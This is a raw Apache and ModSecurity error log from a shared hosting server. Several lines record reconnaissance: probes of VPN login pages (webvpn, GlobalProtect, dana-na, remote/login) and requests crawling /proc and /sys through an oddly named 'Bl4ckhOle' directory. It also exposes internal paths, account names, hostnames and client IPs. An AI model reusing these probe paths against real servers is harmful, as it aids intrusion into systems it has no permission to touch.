[Fri Jul 17 09:04:26.087478 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:26.262152 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:26.424895 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:26.591341 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:26.761692 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:26.936343 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:27.100508 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:27.266435 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:30.068744 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:49604] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:31.671544 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/nf_tables_set/uevent
[Fri Jul 17 09:04:31.674128 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:32.105224 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:32.206836 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:34.294518 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:39674] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:34.738186 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:35.523154 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:35.623630 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:35.714195 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:35.775854 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:39728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:35.964460 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:39750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:36.592551 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:36.592552 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:36.593987 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:36.594183 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:36.677309 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:36.693644 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:36.716958 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:36.718731 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:36.820005 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:36.823062 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:36.850715 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:39778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:36.919917 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:36.922953 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:37.021431 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:37.999718 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:39824] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:40.092784 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:39866] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:40.494958 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:39902] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:40.495154 2026] [security2:error] [pid 2034024:tid 2034024] [client 57.141.18.12:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory10/subsystem/devices/memory3/subsystem/devices/memory9/node0/memory123/valid_zones"] [unique_id "almi0I-0g_VSPeIeFN3CAQAAAAs"]
[Fri Jul 17 09:04:40.495176 2026] [security2:error] [pid 2034024:tid 2034024] [client 57.141.18.12:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory10/subsystem/devices/memory3/subsystem/devices/memory9/node0/memory123/valid_zones"] [unique_id "almi0I-0g_VSPeIeFN3CAQAAAAs"]
[Fri Jul 17 09:04:42.292977 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:54296] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:43.006506 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:54330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:46.034494 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:54410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:47.633197 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:47.695344 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.041400 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.294658 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.297430 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.444761 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.465178 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.475531 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.559080 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.575367 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.691156 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:48.827182 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:49.005494 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:49.067467 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:50.384284 2026] [security2:error] [pid 2031172:tid 2031172] [client 32.192.206.193:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.kiriaswanu.com"] [uri "/"] [unique_id "almi2ujME1mgqYZ5O94nwgAAAAE"]
[Fri Jul 17 09:04:50.384639 2026] [security2:error] [pid 2031172:tid 2031172] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.kiriaswanu.com"] [uri "/"] [unique_id "almi2ujME1mgqYZ5O94nwgAAAAE"]
[Fri Jul 17 09:04:50.436672 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:50.609373 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:50.644020 2026] [security2:error] [pid 2031172:tid 2031172] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.kiriaswanu.com"] [uri "/daph/public/index.php"] [unique_id "almi2ujME1mgqYZ5O94nwgAAAAE"]
[Fri Jul 17 09:04:50.652199 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:50.708168 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:50.931840 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:50.940371 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:50.992385 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:51.151656 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:51.157307 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:51.323852 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:51.379983 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:52.106905 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:52.422031 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:52.433998 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:52.562826 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:52.596716 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:52.879121 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:52.995561 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:53.032279 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:53.073209 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:53.179770 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:53.179771 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:53.286767 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:53.351178 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:53.464430 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:54.076205 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:55.472616 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:56.475751 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:55504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:58.634900 2026] [security2:error] [pid 2032156:tid 2032156] [client 167.148.201.115:13504] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/+webvpn+/index.html"] [unique_id "almi4q14q1EBnanVMYGlPwAAAAk"]
[Fri Jul 17 09:04:58.705688 2026] [security2:error] [pid 2032156:tid 2032156] [client 167.148.201.115:13504] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/+CSCOE+/logon.html"] [unique_id "almi4q14q1EBnanVMYGlQAAAAAk"]
[Fri Jul 17 09:04:58.760979 2026] [security2:error] [pid 2032156:tid 2032156] [client 167.148.201.115:13504] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/remote/login"] [unique_id "almi4q14q1EBnanVMYGlQQAAAAk"]
[Fri Jul 17 09:04:58.813018 2026] [security2:error] [pid 2032156:tid 2032156] [client 167.148.201.115:13504] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/global-protect/prelogin.esp"] [unique_id "almi4q14q1EBnanVMYGlQgAAAAk"]
[Fri Jul 17 09:04:58.829205 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almi4iRF0UOO1RzB5_8vagAAAA4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:04:58.829243 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almi4iRF0UOO1RzB5_8vagAAAA4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:04:58.968366 2026] [security2:error] [pid 2013797:tid 2013797] [client 167.148.201.115:13518] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/dana-na"] [unique_id "almi4lh1WDijTxd1xw5NzwAAAAc"]
[Fri Jul 17 09:04:59.021011 2026] [security2:error] [pid 2013797:tid 2013797] [client 167.148.201.115:13518] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/sslvpnclient"] [unique_id "almi41h1WDijTxd1xw5N0AAAAAc"]
[Fri Jul 17 09:05:01.246075 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "almi5RHlOGcokz2QIwTUsQAAAAM"]
[Fri Jul 17 09:05:01.246436 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "almi5RHlOGcokz2QIwTUsQAAAAM"]
[Fri Jul 17 09:05:01.246750 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "almi5RHlOGcokz2QIwTUsQAAAAM"]
[Fri Jul 17 09:05:01.540131 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:01.542101 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:05:01.669620 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:01.782086 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:01.883337 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097634 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097714 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097740 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097759 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097777 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097795 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097812 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097829 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.097846 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.381681 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almi5lCBpfuYyhJ140vUOQAAAB4"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:05:02.381836 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almi5lCBpfuYyhJ140vUOQAAAB4"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:05:02.415945 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.533788 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.742314 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.742463 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.742544 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.742932 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743292 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743338 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743375 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743562 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743650 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743694 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743862 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.743898 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.744058 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.744096 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.744124 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.747023 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.747345 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
